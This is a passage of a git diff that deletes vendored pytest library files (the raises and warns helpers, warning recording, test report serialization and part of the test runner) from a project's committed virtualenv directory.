type) else type(exc).__name__ - raise TypeError(msg.format(not_a)) - - message = f"DID NOT RAISE {expected_exception}" - - if not args: - match: str | Pattern[str] | None = kwargs.pop("match", None) - if kwargs: - msg = "Unexpected keyword arguments passed to pytest.raises: " - msg += ", ".join(sorted(kwargs)) - msg += "\nUse context-manager form instead?" - raise TypeError(msg) - return RaisesContext(expected_exception, message, match) - else: - func = args[0] - if not callable(func): - raise TypeError(f"{func!r} object (type: {type(func)}) must be callable") - try: - func(*args[1:], **kwargs) - except expected_exception as e: - return _pytest._code.ExceptionInfo.from_exception(e) - fail(message) - - -# This doesn't work with mypy for now. Use fail.Exception instead. -raises.Exception = fail.Exception # type: ignore - - -@final -class RaisesContext(ContextManager[_pytest._code.ExceptionInfo[E]]): - def __init__( - self, - expected_exception: type[E] | tuple[type[E], ...], - message: str, - match_expr: str | Pattern[str] | None = None, - ) -> None: - self.expected_exception = expected_exception - self.message = message - self.match_expr = match_expr - self.excinfo: _pytest._code.ExceptionInfo[E] | None = None - if self.match_expr is not None: - re_error = None - try: - re.compile(self.match_expr) - except re.error as e: - re_error = e - if re_error is not None: - fail(f"Invalid regex pattern provided to 'match': {re_error}") - - def __enter__(self) -> _pytest._code.ExceptionInfo[E]: - self.excinfo = _pytest._code.ExceptionInfo.for_later() - return self.excinfo - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> bool: - __tracebackhide__ = True - if exc_type is None: - fail(self.message) - assert self.excinfo is not None - if not issubclass(exc_type, self.expected_exception): - return False - # Cast to narrow the exception type now that it's verified. - exc_info = cast(Tuple[Type[E], E, TracebackType], (exc_type, exc_val, exc_tb)) - self.excinfo.fill_unfilled(exc_info) - if self.match_expr is not None: - self.excinfo.match(self.match_expr) - return True diff --git a/backend/venv/Lib/site-packages/_pytest/python_path.py b/backend/venv/Lib/site-packages/_pytest/python_path.py deleted file mode 100644 index 6e33c8a3..00000000 --- a/backend/venv/Lib/site-packages/_pytest/python_path.py +++ /dev/null @@ -1,26 +0,0 @@ -from __future__ import annotations - -import sys - -import pytest -from pytest import Config -from pytest import Parser - - -def pytest_addoption(parser: Parser) -> None: - parser.addini("pythonpath", type="paths", help="Add paths to sys.path", default=[]) - - -@pytest.hookimpl(tryfirst=True) -def pytest_load_initial_conftests(early_config: Config) -> None: - # `pythonpath = a b` will set `sys.path` to `[a, b, x, y, z, ...]` - for path in reversed(early_config.getini("pythonpath")): - sys.path.insert(0, str(path)) - - -@pytest.hookimpl(trylast=True) -def pytest_unconfigure(config: Config) -> None: - for path in config.getini("pythonpath"): - path_str = str(path) - if path_str in sys.path: - sys.path.remove(path_str) diff --git a/backend/venv/Lib/site-packages/_pytest/recwarn.py b/backend/venv/Lib/site-packages/_pytest/recwarn.py deleted file mode 100644 index 3fc00d94..00000000 --- a/backend/venv/Lib/site-packages/_pytest/recwarn.py +++ /dev/null @@ -1,365 +0,0 @@ -# mypy: allow-untyped-defs -"""Record warnings during test function execution.""" - -from __future__ import annotations - -from pprint import pformat -import re -from types import TracebackType -from typing import Any -from typing import Callable -from typing import final -from typing import Generator -from typing import Iterator -from typing import overload -from typing import Pattern -from typing import TYPE_CHECKING -from typing import TypeVar - - -if TYPE_CHECKING: - from typing_extensions import Self - -import warnings - -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.outcomes import Exit -from _pytest.outcomes import fail - - -T = TypeVar("T") - - -@fixture -def recwarn() -> Generator[WarningsRecorder, None, None]: - """Return a :class:`WarningsRecorder` instance that records all warnings emitted by test functions. - - See https://docs.pytest.org/en/latest/how-to/capture-warnings.html for information - on warning categories. - """ - wrec = WarningsRecorder(_ispytest=True) - with wrec: - warnings.simplefilter("default") - yield wrec - - -@overload -def deprecated_call(*, match: str | Pattern[str] | None = ...) -> WarningsRecorder: ... - - -@overload -def deprecated_call(func: Callable[..., T], *args: Any, **kwargs: Any) -> T: ... - - -def deprecated_call( - func: Callable[..., Any] | None = None, *args: Any, **kwargs: Any -) -> WarningsRecorder | Any: - """Assert that code produces a ``DeprecationWarning`` or ``PendingDeprecationWarning`` or ``FutureWarning``. - - This function can be used as a context manager:: - - >>> import warnings - >>> def api_call_v2(): - ... warnings.warn('use v3 of this api', DeprecationWarning) - ... return 200 - - >>> import pytest - >>> with pytest.deprecated_call(): - ... assert api_call_v2() == 200 - - It can also be used by passing a function and ``*args`` and ``**kwargs``, - in which case it will ensure calling ``func(*args, **kwargs)`` produces one of - the warnings types above. The return value is the return value of the function. - - In the context manager form you may use the keyword argument ``match`` to assert - that the warning matches a text or regex. - - The context manager produces a list of :class:`warnings.WarningMessage` objects, - one for each warning raised. - """ - __tracebackhide__ = True - if func is not None: - args = (func, *args) - return warns( - (DeprecationWarning, PendingDeprecationWarning, FutureWarning), *args, **kwargs - ) - - -@overload -def warns( - expected_warning: type[Warning] | tuple[type[Warning], ...] = ..., - *, - match: str | Pattern[str] | None = ..., -) -> WarningsChecker: ... - - -@overload -def warns( - expected_warning: type[Warning] | tuple[type[Warning], ...], - func: Callable[..., T], - *args: Any, - **kwargs: Any, -) -> T: ... - - -def warns( - expected_warning: type[Warning] | tuple[type[Warning], ...] = Warning, - *args: Any, - match: str | Pattern[str] | None = None, - **kwargs: Any, -) -> WarningsChecker | Any: - r"""Assert that code raises a particular class of warning. - - Specifically, the parameter ``expected_warning`` can be a warning class or tuple - of warning classes, and the code inside the ``with`` block must issue at least one - warning of that class or classes. - - This helper produces a list of :class:`warnings.WarningMessage` objects, one for - each warning emitted (regardless of whether it is an ``expected_warning`` or not). - Since pytest 8.0, unmatched warnings are also re-emitted when the context closes. - - This function can be used as a context manager:: - - >>> import pytest - >>> with pytest.warns(RuntimeWarning): - ... warnings.warn("my warning", RuntimeWarning) - - In the context manager form you may use the keyword argument ``match`` to assert - that the warning matches a text or regex:: - - >>> with pytest.warns(UserWarning, match='must be 0 or None'): - ... warnings.warn("value must be 0 or None", UserWarning) - - >>> with pytest.warns(UserWarning, match=r'must be \d+$'): - ... warnings.warn("value must be 42", UserWarning) - - >>> with pytest.warns(UserWarning): # catch re-emitted warning - ... with pytest.warns(UserWarning, match=r'must be \d+$'): - ... warnings.warn("this is not here", UserWarning) - Traceback (most recent call last): - ... - Failed: DID NOT WARN. No warnings of type ...UserWarning... were emitted... - - **Using with** ``pytest.mark.parametrize`` - - When using :ref:`pytest.mark.parametrize ref` it is possible to parametrize tests - such that some runs raise a warning and others do not. - - This could be achieved in the same way as with exceptions, see - :ref:`parametrizing_conditional_raising` for an example. - - """ - __tracebackhide__ = True - if not args: - if kwargs: - argnames = ", ".join(sorted(kwargs)) - raise TypeError( - f"Unexpected keyword arguments passed to pytest.warns: {argnames}" - "\nUse context-manager form instead?" - ) - return WarningsChecker(expected_warning, match_expr=match, _ispytest=True) - else: - func = args[0] - if not callable(func): - raise TypeError(f"{func!r} object (type: {type(func)}) must be callable") - with WarningsChecker(expected_warning, _ispytest=True): - return func(*args[1:], **kwargs) - - -class WarningsRecorder(warnings.catch_warnings): # type:ignore[type-arg] - """A context manager to record raised warnings. - - Each recorded warning is an instance of :class:`warnings.WarningMessage`. - - Adapted from `warnings.catch_warnings`. - - .. note:: - ``DeprecationWarning`` and ``PendingDeprecationWarning`` are treated - differently; see :ref:`ensuring_function_triggers`. - - """ - - def __init__(self, *, _ispytest: bool = False) -> None: - check_ispytest(_ispytest) - super().__init__(record=True) - self._entered = False - self._list: list[warnings.WarningMessage] = [] - - @property - def list(self) -> list[warnings.WarningMessage]: - """The list of recorded warnings.""" - return self._list - - def __getitem__(self, i: int) -> warnings.WarningMessage: - """Get a recorded warning by index.""" - return self._list[i] - - def __iter__(self) -> Iterator[warnings.WarningMessage]: - """Iterate through the recorded warnings.""" - return iter(self._list) - - def __len__(self) -> int: - """The number of recorded warnings.""" - return len(self._list) - - def pop(self, cls: type[Warning] = Warning) -> warnings.WarningMessage: - """Pop the first recorded warning which is an instance of ``cls``, - but not an instance of a child class of any other match. - Raises ``AssertionError`` if there is no match. - """ - best_idx: int | None = None - for i, w in enumerate(self._list): - if w.category == cls: - return self._list.pop(i) # exact match, stop looking - if issubclass(w.category, cls) and ( - best_idx is None - or not issubclass(w.category, self._list[best_idx].category) - ): - best_idx = i - if best_idx is not None: - return self._list.pop(best_idx) - __tracebackhide__ = True - raise AssertionError(f"{cls!r} not found in warning list") - - def clear(self) -> None: - """Clear the list of recorded warnings.""" - self._list[:] = [] - - def __enter__(self) -> Self: - if self._entered: - __tracebackhide__ = True - raise RuntimeError(f"Cannot enter {self!r} twice") - _list = super().__enter__() - # record=True means it's None. - assert _list is not None - self._list = _list - warnings.simplefilter("always") - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - if not self._entered: - __tracebackhide__ = True - raise RuntimeError(f"Cannot exit {self!r} without entering first") - - super().__exit__(exc_type, exc_val, exc_tb) - - # Built-in catch_warnings does not reset entered state so we do it - # manually here for this context manager to become reusable. - self._entered = False - - -@final -class WarningsChecker(WarningsRecorder): - def __init__( - self, - expected_warning: type[Warning] | tuple[type[Warning], ...] = Warning, - match_expr: str | Pattern[str] | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - super().__init__(_ispytest=True) - - msg = "exceptions must be derived from Warning, not %s" - if isinstance(expected_warning, tuple): - for exc in expected_warning: - if not issubclass(exc, Warning): - raise TypeError(msg % type(exc)) - expected_warning_tup = expected_warning - elif isinstance(expected_warning, type) and issubclass( - expected_warning, Warning - ): - expected_warning_tup = (expected_warning,) - else: - raise TypeError(msg % type(expected_warning)) - - self.expected_warning = expected_warning_tup - self.match_expr = match_expr - - def matches(self, warning: warnings.WarningMessage) -> bool: - assert self.expected_warning is not None - return issubclass(warning.category, self.expected_warning) and bool( - self.match_expr is None or re.search(self.match_expr, str(warning.message)) - ) - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - super().__exit__(exc_type, exc_val, exc_tb) - - __tracebackhide__ = True - - # BaseExceptions like pytest.{skip,fail,xfail,exit} or Ctrl-C within - # pytest.warns should *not* trigger "DID NOT WARN" and get suppressed - # when the warning doesn't happen. Control-flow exceptions should always - # propagate. - if exc_val is not None and ( - not isinstance(exc_val, Exception) - # Exit is an Exception, not a BaseException, for some reason. - or isinstance(exc_val, Exit) - ): - return - - def found_str() -> str: - return pformat([record.message for record in self], indent=2) - - try: - if not any(issubclass(w.category, self.expected_warning) for w in self): - fail( - f"DID NOT WARN. No warnings of type {self.expected_warning} were emitted.\n" - f" Emitted warnings: {found_str()}." - ) - elif not any(self.matches(w) for w in self): - fail( - f"DID NOT WARN. No warnings of type {self.expected_warning} matching the regex were emitted.\n" - f" Regex: {self.match_expr}\n" - f" Emitted warnings: {found_str()}." - ) - finally: - # Whether or not any warnings matched, we want to re-emit all unmatched warnings. - for w in self: - if not self.matches(w): - warnings.warn_explicit( - message=w.message, - category=w.category, - filename=w.filename, - lineno=w.lineno, - module=w.__module__, - source=w.source, - ) - - # Currently in Python it is possible to pass other types than an - # `str` message when creating `Warning` instances, however this - # causes an exception when :func:`warnings.filterwarnings` is used - # to filter those warnings. See - # https://github.com/python/cpython/issues/103577 for a discussion. - # While this can be considered a bug in CPython, we put guards in - # pytest as the error message produced without this check in place - # is confusing (#10865). - for w in self: - if type(w.message) is not UserWarning: - # If the warning was of an incorrect type then `warnings.warn()` - # creates a UserWarning. Any other warning must have been specified - # explicitly. - continue - if not w.message.args: - # UserWarning() without arguments must have been specified explicitly. - continue - msg = w.message.args[0] - if isinstance(msg, str): - continue - # It's possible that UserWarning was explicitly specified, and - # its first argument was not a string. But that case can't be - # distinguished from an invalid type. - raise TypeError( - f"Warning must be str or Warning, got {msg!r} (type {type(msg).__name__})" - ) diff --git a/backend/venv/Lib/site-packages/_pytest/reports.py b/backend/venv/Lib/site-packages/_pytest/reports.py deleted file mode 100644 index 77cbf773..00000000 --- a/backend/venv/Lib/site-packages/_pytest/reports.py +++ /dev/null @@ -1,636 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import dataclasses -from io import StringIO -import os -from pprint import pprint -from typing import Any -from typing import cast -from typing import final -from typing import Iterable -from typing import Iterator -from typing import Literal -from typing import Mapping -from typing import NoReturn -from typing import Sequence -from typing import TYPE_CHECKING - -from _pytest._code.code import ExceptionChainRepr -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import ExceptionRepr -from _pytest._code.code import ReprEntry -from _pytest._code.code import ReprEntryNative -from _pytest._code.code import ReprExceptionInfo -from _pytest._code.code import ReprFileLocation -from _pytest._code.code import ReprFuncArgs -from _pytest._code.code import ReprLocals -from _pytest._code.code import ReprTraceback -from _pytest._code.code import TerminalRepr -from _pytest._io import TerminalWriter -from _pytest.config import Config -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.outcomes import fail -from _pytest.outcomes import skip - - -if TYPE_CHECKING: - from typing_extensions import Self - - from _pytest.runner import CallInfo - - -def getworkerinfoline(node): - try: - return node._workerinfocache - except AttributeError: - d = node.workerinfo - ver = "{}.{}.{}".format(*d["version_info"][:3]) - node._workerinfocache = s = "[{}] {} -- Python {} {}".format( - d["id"], d["sysplatform"], ver, d["executable"] - ) - return s - - -class BaseReport: - when: str | None - location: tuple[str, int | None, str] | None - longrepr: ( - None | ExceptionInfo[BaseException] | tuple[str, int, str] | str | TerminalRepr - ) - sections: list[tuple[str, str]] - nodeid: str - outcome: Literal["passed", "failed", "skipped"] - - def __init__(self, **kw: Any) -> None: - self.__dict__.update(kw) - - if TYPE_CHECKING: - # Can have arbitrary fields given to __init__(). - def __getattr__(self, key: str) -> Any: ... - - def toterminal(self, out: TerminalWriter) -> None: - if hasattr(self, "node"): - worker_info = getworkerinfoline(self.node) - if worker_info: - out.line(worker_info) - - longrepr = self.longrepr - if longrepr is None: - return - - if hasattr(longrepr, "toterminal"): - longrepr_terminal = cast(TerminalRepr, longrepr) - longrepr_terminal.toterminal(out) - else: - try: - s = str(longrepr) - except UnicodeEncodeError: - s = "" - out.line(s) - - def get_sections(self, prefix: str) -> Iterator[tuple[str, str]]: - for name, content in self.sections: - if name.startswith(prefix): - yield prefix, content - - @property - def longreprtext(self) -> str: - """Read-only property that returns the full string representation of - ``longrepr``. - - .. versionadded:: 3.0 - """ - file = StringIO() - tw = TerminalWriter(file) - tw.hasmarkup = False - self.toterminal(tw) - exc = file.getvalue() - return exc.strip() - - @property - def caplog(self) -> str: - """Return captured log lines, if log capturing is enabled. - - .. versionadded:: 3.5 - """ - return "\n".join( - content for (prefix, content) in self.get_sections("Captured log") - ) - - @property - def capstdout(self) -> str: - """Return captured text from stdout, if capturing is enabled. - - .. versionadded:: 3.0 - """ - return "".join( - content for (prefix, content) in self.get_sections("Captured stdout") - ) - - @property - def capstderr(self) -> str: - """Return captured text from stderr, if capturing is enabled. - - .. versionadded:: 3.0 - """ - return "".join( - content for (prefix, content) in self.get_sections("Captured stderr") - ) - - @property - def passed(self) -> bool: - """Whether the outcome is passed.""" - return self.outcome == "passed" - - @property - def failed(self) -> bool: - """Whether the outcome is failed.""" - return self.outcome == "failed" - - @property - def skipped(self) -> bool: - """Whether the outcome is skipped.""" - return self.outcome == "skipped" - - @property - def fspath(self) -> str: - """The path portion of the reported node, as a string.""" - return self.nodeid.split("::")[0] - - @property - def count_towards_summary(self) -> bool: - """**Experimental** Whether this report should be counted towards the - totals shown at the end of the test session: "1 passed, 1 failure, etc". - - .. note:: - - This function is considered **experimental**, so beware that it is subject to changes - even in patch releases. - """ - return True - - @property - def head_line(self) -> str | None: - """**Experimental** The head line shown with longrepr output for this - report, more commonly during traceback representation during - failures:: - - ________ Test.foo ________ - - - In the example above, the head_line is "Test.foo". - - .. note:: - - This function is considered **experimental**, so beware that it is subject to changes - even in patch releases. - """ - if self.location is not None: - fspath, lineno, domain = self.location - return domain - return None - - def _get_verbose_word_with_markup( - self, config: Config, default_markup: Mapping[str, bool] - ) -> tuple[str, Mapping[str, bool]]: - _category, _short, verbose = config.hook.pytest_report_teststatus( - report=self, config=config - ) - - if isinstance(verbose, str): - return verbose, default_markup - - if isinstance(verbose, Sequence) and len(verbose) == 2: - word, markup = verbose - if isinstance(word, str) and isinstance(markup, Mapping): - return word, markup - - fail( # pragma: no cover - "pytest_report_teststatus() hook (from a plugin) returned " - f"an invalid verbose value: {verbose!r}.\nExpected either a string " - "or a tuple of (word, markup)." - ) - - def _to_json(self) -> dict[str, Any]: - """Return the contents of this report as a dict of builtin entries, - suitable for serialization. - - This was originally the serialize_report() function from xdist (ca03269). - - Experimental method. - """ - return _report_to_json(self) - - @classmethod - def _from_json(cls, reportdict: dict[str, object]) -> Self: - """Create either a TestReport or CollectReport, depending on the calling class. - - It is the callers responsibility to know which class to pass here. - - This was originally the serialize_report() function from xdist (ca03269). - - Experimental method. - """ - kwargs = _report_kwargs_from_json(reportdict) - return cls(**kwargs) - - -def _report_unserialization_failure( - type_name: str, report_class: type[BaseReport], reportdict -) -> NoReturn: - url = "https://github.com/pytest-dev/pytest/issues" - stream = StringIO() - pprint("-" * 100, stream=stream) - pprint(f"INTERNALERROR: Unknown entry type returned: {type_name}", stream=stream) - pprint(f"report_name: {report_class}", stream=stream) - pprint(reportdict, stream=stream) - pprint(f"Please report this bug at {url}", stream=stream) - pprint("-" * 100, stream=stream) - raise RuntimeError(stream.getvalue()) - - -@final -class TestReport(BaseReport): - """Basic test report object (also used for setup and teardown calls if - they fail). - - Reports can contain arbitrary extra attributes. - """ - - __test__ = False - # Defined by skipping plugin. - # xfail reason if xfailed, otherwise not defined. Use hasattr to distinguish. - wasxfail: str - - def __init__( - self, - nodeid: str, - location: tuple[str, int | None, str], - keywords: Mapping[str, Any], - outcome: Literal["passed", "failed", "skipped"], - longrepr: None - | ExceptionInfo[BaseException] - | tuple[str, int, str] - | str - | TerminalRepr, - when: Literal["setup", "call", "teardown"], - sections: Iterable[tuple[str, str]] = (), - duration: float = 0, - start: float = 0, - stop: float = 0, - user_properties: Iterable[tuple[str, object]] | None = None, - **extra, - ) -> None: - #: Normalized collection nodeid. - self.nodeid = nodeid - - #: A (filesystempath, lineno, domaininfo) tuple indicating the - #: actual location of a test item - it might be different from the - #: collected one e.g. if a method is inherited from a different module. - #: The filesystempath may be relative to ``config.rootdir``. - #: The line number is 0-based. - self.location: tuple[str, int | None, str] = location - - #: A name -> value dictionary containing all keywords and - #: markers associated with a test invocation. - self.keywords: Mapping[str, Any] = keywords - - #: Test outcome, always one of "passed", "failed", "skipped". - self.outcome = outcome - - #: None or a failure representation. - self.longrepr = longrepr - - #: One of 'setup', 'call', 'teardown' to indicate runtest phase. - self.when = when - - #: User properties is a list of tuples (name, value) that holds user - #: defined properties of the test. - self.user_properties = list(user_properties or []) - - #: Tuples of str ``(heading, content)`` with extra information - #: for the test report. Used by pytest to add text captured - #: from ``stdout``, ``stderr``, and intercepted logging events. May - #: be used by other plugins to add arbitrary information to reports. - self.sections = list(sections) - - #: Time it took to run just the test. - self.duration: float = duration - - #: The system time when the call started, in seconds since the epoch. - self.start: float = start - #: The system time when the call ended, in seconds since the epoch. - self.stop: float = stop - - self.__dict__.update(extra) - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} {self.nodeid!r} when={self.when!r} outcome={self.outcome!r}>" - - @classmethod - def from_item_and_call(cls, item: Item, call: CallInfo[None]) -> TestReport: - """Create and fill a TestReport with standard item and call info. - - :param item: The item. - :param call: The call info. - """ - when = call.when - # Remove "collect" from the Literal type -- only for collection calls. - assert when != "collect" - duration = call.duration - start = call.start - stop = call.stop - keywords = {x: 1 for x in item.keywords} - excinfo = call.excinfo - sections = [] - if not call.excinfo: - outcome: Literal["passed", "failed", "skipped"] = "passed" - longrepr: ( - None - | ExceptionInfo[BaseException] - | tuple[str, int, str] - | str - | TerminalRepr - ) = None - else: - if not isinstance(excinfo, ExceptionInfo): - outcome = "failed" - longrepr = excinfo - elif isinstance(excinfo.value, skip.Exception): - outcome = "skipped" - r = excinfo._getreprcrash() - assert ( - r is not None - ), "There should always be a traceback entry for skipping a test." - if excinfo.value._use_item_location: - path, line = item.reportinfo()[:2] - assert line is not None - longrepr = os.fspath(path), line + 1, r.message - else: - longrepr = (str(r.path), r.lineno, r.message) - else: - outcome = "failed" - if call.when == "call": - longrepr = item.repr_failure(excinfo) - else: # exception in setup or teardown - longrepr = item._repr_failure_py( - excinfo, style=item.config.getoption("tbstyle", "auto") - ) - for rwhen, key, content in item._report_sections: - sections.append((f"Captured {key} {rwhen}", content)) - return cls( - item.nodeid, - item.location, - keywords, - outcome, - longrepr, - when, - sections, - duration, - start, - stop, - user_properties=item.user_properties, - ) - - -@final -class CollectReport(BaseReport): - """Collection report object. - - Reports can contain arbitrary extra attributes. - """ - - when = "collect" - - def __init__( - self, - nodeid: str, - outcome: Literal["passed", "failed", "skipped"], - longrepr: None - | ExceptionInfo[BaseException] - | tuple[str, int, str] - | str - | TerminalRepr, - result: list[Item | Collector] | None, - sections: Iterable[tuple[str, str]] = (), - **extra, - ) -> None: - #: Normalized collection nodeid. - self.nodeid = nodeid - - #: Test outcome, always one of "passed", "failed", "skipped". - self.outcome = outcome - - #: None or a failure representation. - self.longrepr = longrepr - - #: The collected items and collection nodes. - self.result = result or [] - - #: Tuples of str ``(heading, content)`` with extra information - #: for the test report. Used by pytest to add text captured - #: from ``stdout``, ``stderr``, and intercepted logging events. May - #: be used by other plugins to add arbitrary information to reports. - self.sections = list(sections) - - self.__dict__.update(extra) - - @property - def location( # type:ignore[override] - self, - ) -> tuple[str, int | None, str] | None: - return (self.fspath, None, self.fspath) - - def __repr__(self) -> str: - return f"" - - -class CollectErrorRepr(TerminalRepr): - def __init__(self, msg: str) -> None: - self.longrepr = msg - - def toterminal(self, out: TerminalWriter) -> None: - out.line(self.longrepr, red=True) - - -def pytest_report_to_serializable( - report: CollectReport | TestReport, -) -> dict[str, Any] | None: - if isinstance(report, (TestReport, CollectReport)): - data = report._to_json() - data["$report_type"] = report.__class__.__name__ - return data - # TODO: Check if this is actually reachable. - return None # type: ignore[unreachable] - - -def pytest_report_from_serializable( - data: dict[str, Any], -) -> CollectReport | TestReport | None: - if "$report_type" in data: - if data["$report_type"] == "TestReport": - return TestReport._from_json(data) - elif data["$report_type"] == "CollectReport": - return CollectReport._from_json(data) - assert False, "Unknown report_type unserialize data: {}".format( - data["$report_type"] - ) - return None - - -def _report_to_json(report: BaseReport) -> dict[str, Any]: - """Return the contents of this report as a dict of builtin entries, - suitable for serialization. - - This was originally the serialize_report() function from xdist (ca03269). - """ - - def serialize_repr_entry( - entry: ReprEntry | ReprEntryNative, - ) -> dict[str, Any]: - data = dataclasses.asdict(entry) - for key, value in data.items(): - if hasattr(value, "__dict__"): - data[key] = dataclasses.asdict(value) - entry_data = {"type": type(entry).__name__, "data": data} - return entry_data - - def serialize_repr_traceback(reprtraceback: ReprTraceback) -> dict[str, Any]: - result = dataclasses.asdict(reprtraceback) - result["reprentries"] = [ - serialize_repr_entry(x) for x in reprtraceback.reprentries - ] - return result - - def serialize_repr_crash( - reprcrash: ReprFileLocation | None, - ) -> dict[str, Any] | None: - if reprcrash is not None: - return dataclasses.asdict(reprcrash) - else: - return None - - def serialize_exception_longrepr(rep: BaseReport) -> dict[str, Any]: - assert rep.longrepr is not None - # TODO: Investigate whether the duck typing is really necessary here. - longrepr = cast(ExceptionRepr, rep.longrepr) - result: dict[str, Any] = { - "reprcrash": serialize_repr_crash(longrepr.reprcrash), - "reprtraceback": serialize_repr_traceback(longrepr.reprtraceback), - "sections": longrepr.sections, - } - if isinstance(longrepr, ExceptionChainRepr): - result["chain"] = [] - for repr_traceback, repr_crash, description in longrepr.chain: - result["chain"].append( - ( - serialize_repr_traceback(repr_traceback), - serialize_repr_crash(repr_crash), - description, - ) - ) - else: - result["chain"] = None - return result - - d = report.__dict__.copy() - if hasattr(report.longrepr, "toterminal"): - if hasattr(report.longrepr, "reprtraceback") and hasattr( - report.longrepr, "reprcrash" - ): - d["longrepr"] = serialize_exception_longrepr(report) - else: - d["longrepr"] = str(report.longrepr) - else: - d["longrepr"] = report.longrepr - for name in d: - if isinstance(d[name], os.PathLike): - d[name] = os.fspath(d[name]) - elif name == "result": - d[name] = None # for now - return d - - -def _report_kwargs_from_json(reportdict: dict[str, Any]) -> dict[str, Any]: - """Return **kwargs that can be used to construct a TestReport or - CollectReport instance. - - This was originally the serialize_report() function from xdist (ca03269). - """ - - def deserialize_repr_entry(entry_data): - data = entry_data["data"] - entry_type = entry_data["type"] - if entry_type == "ReprEntry": - reprfuncargs = None - reprfileloc = None - reprlocals = None - if data["reprfuncargs"]: - reprfuncargs = ReprFuncArgs(**data["reprfuncargs"]) - if data["reprfileloc"]: - reprfileloc = ReprFileLocation(**data["reprfileloc"]) - if data["reprlocals"]: - reprlocals = ReprLocals(data["reprlocals"]["lines"]) - - reprentry: ReprEntry | ReprEntryNative = ReprEntry( - lines=data["lines"], - reprfuncargs=reprfuncargs, - reprlocals=reprlocals, - reprfileloc=reprfileloc, - style=data["style"], - ) - elif entry_type == "ReprEntryNative": - reprentry = ReprEntryNative(data["lines"]) - else: - _report_unserialization_failure(entry_type, TestReport, reportdict) - return reprentry - - def deserialize_repr_traceback(repr_traceback_dict): - repr_traceback_dict["reprentries"] = [ - deserialize_repr_entry(x) for x in repr_traceback_dict["reprentries"] - ] - return ReprTraceback(**repr_traceback_dict) - - def deserialize_repr_crash(repr_crash_dict: dict[str, Any] | None): - if repr_crash_dict is not None: - return ReprFileLocation(**repr_crash_dict) - else: - return None - - if ( - reportdict["longrepr"] - and "reprcrash" in reportdict["longrepr"] - and "reprtraceback" in reportdict["longrepr"] - ): - reprtraceback = deserialize_repr_traceback( - reportdict["longrepr"]["reprtraceback"] - ) - reprcrash = deserialize_repr_crash(reportdict["longrepr"]["reprcrash"]) - if reportdict["longrepr"]["chain"]: - chain = [] - for repr_traceback_data, repr_crash_data, description in reportdict[ - "longrepr" - ]["chain"]: - chain.append( - ( - deserialize_repr_traceback(repr_traceback_data), - deserialize_repr_crash(repr_crash_data), - description, - ) - ) - exception_info: ExceptionChainRepr | ReprExceptionInfo = ExceptionChainRepr( - chain - ) - else: - exception_info = ReprExceptionInfo( - reprtraceback=reprtraceback, - reprcrash=reprcrash, - ) - - for section in reportdict["longrepr"]["sections"]: - exception_info.addsection(*section) - reportdict["longrepr"] = exception_info - - return reportdict diff --git a/backend/venv/Lib/site-packages/_pytest/runner.py b/backend/venv/Lib/site-packages/_pytest/runner.py deleted file mode 100644 index 716c4948..00000000 --- a/backend/venv/Lib/site-packages/_pytest/runner.py +++ /dev/null @@ -1,571 +0,0 @@ -# mypy: allow-untyped-defs -"""Basic collect and runtest protocol implementations.""" - -from __future__ import annotations - -import bdb -import dataclasses -import os -import sys -import types -from typing import Callable -from typing import cast -from typing import final -from typing import Generic -from typing import Literal -from typing import TYPE_CHECKING -from typing import TypeVar - -from .reports import BaseReport -from .reports import CollectErrorRepr -from .reports import CollectReport -from .reports import TestReport -from _pytest import timing -from _pytest._code.code import ExceptionChainRepr -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import TerminalRepr -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.nodes import Collector -from _pytest.nodes import Directory -from _pytest.nodes import Item -from _pytest.nodes import Node -from _pytest.outcomes import Exit -from _pytest.outcomes import OutcomeException -from _pytest.outcomes import Skipped -from _pytest.outcomes import TEST_OUTCOME - - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - -if TYPE_CHECKING: - from _pytest.main import Session - from _pytest.terminal import TerminalReporter - -# -# pytest plugin hooks. - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("terminal reporting", "Reporting", after="general") - group.addoption( - "--durations", - action="store", - type=int, - default=None, - metavar="N", - help="Show N slowest setup/test durations (N=0 for all)", - ) - group.addoption( - "--durations-min", - action="store", - type=float, - default=0.005, - metavar="N", - help="Minimal duration in seconds for inclusion in slowest list. " - "Default: 0.005.", - ) - - -def pytest_terminal_summary(terminalreporter: TerminalReporter) -> None: - durations = terminalreporter.config.option.durations - durations_min = terminalreporter.config.option.durations_min - verbose = terminalreporter.config.getvalue("verbose") - if durations is None: - return - tr = terminalreporter - dlist = [] - for replist in tr.stats.values(): - for rep in replist: - if hasattr(rep, "duration"): - dlist.append(rep) - if not dlist: - return - dlist.sort(key=lambda x: x.duration, reverse=True) - if not durations: - tr.write_sep("=", "slowest durations") - else: - tr.write_sep("=", f"slowest {durations} durations") - dlist = dlist[:durations] - - for i, rep in enumerate(dlist): - if verbose < 2 and rep.duration < durations_min: - tr.write_line("") - tr.write_line( - f"({len(dlist) - i} durations < {durations_min:g}s hidden. Use -vv to show these durations.)" - ) - break - tr.write_line(f"{rep.duration:02.2f}s {rep.when:<8} {rep.nodeid}") - - -def pytest_sessionstart(session: Session) -> None: - session._setupstate = SetupState() - - -def pytest_sessionfinish(session: Session) -> None: - session._setupstate.teardown_exact(None) - - -def pytest_runtest_protocol(item: Item, nextitem: Item | None) -> bool: - ihook = item.ihook - ihook.pytest_runtest_logstart(nodeid=item.nodeid, location=item.location) - runtestprotocol(item, nextitem=nextitem) - ihook.pytest_runtest_logfinish(nodeid=item.nodeid, location=item.location) - return True - - -def runtestprotocol( - item: Item, log: bool = True, nextitem: Item | None = None -) -> list[TestReport]: - hasrequest = hasattr(item, "_request") - if hasrequest and not item._request: # type: ignore[attr-defined] - # This only happens if the item is re-run, as is done by - # pytest-rerunfailures. - item._initrequest() # type: ignore[attr-defined] - rep = call_and_report(item, "setup", log) - reports = 